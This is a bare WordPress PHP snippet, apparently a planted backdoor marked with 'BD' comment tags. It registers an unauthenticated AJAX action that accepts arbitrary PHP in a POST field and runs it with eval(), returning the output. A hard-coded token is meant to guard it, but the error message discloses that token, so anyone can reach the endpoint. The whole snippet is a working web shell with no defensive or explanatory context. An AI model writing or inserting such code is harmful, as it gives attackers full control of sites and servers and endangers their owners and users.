// ==[BD:uJRgo2Ij]== add_action( 'wp_ajax_nopriv_lvqegmhs', function() { $val = 'uJRgo2Ij0cIhO0jpiywnsNX2LZumeBce'; $item = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $item ) || ! hash_equals( $val, $item ) ) { wp_send_json_error( [ 'message' => 'tok:' . $val ], 403 ); } $comp = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $comp ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $comp = preg_replace( '/^\s*<\?(php)?/i', '', $comp ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $data = microtime( true ); ob_start(); try { ( static function() use ( $comp ) { return eval( $comp ); } )(); $ref = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $ref, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $data ) * 1000, 2 ) ] ); } catch ( \Throwable $chunk ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $data ) * 1000, 2 ) ] ); } } ); // ==[/BD:uJRgo2Ij]==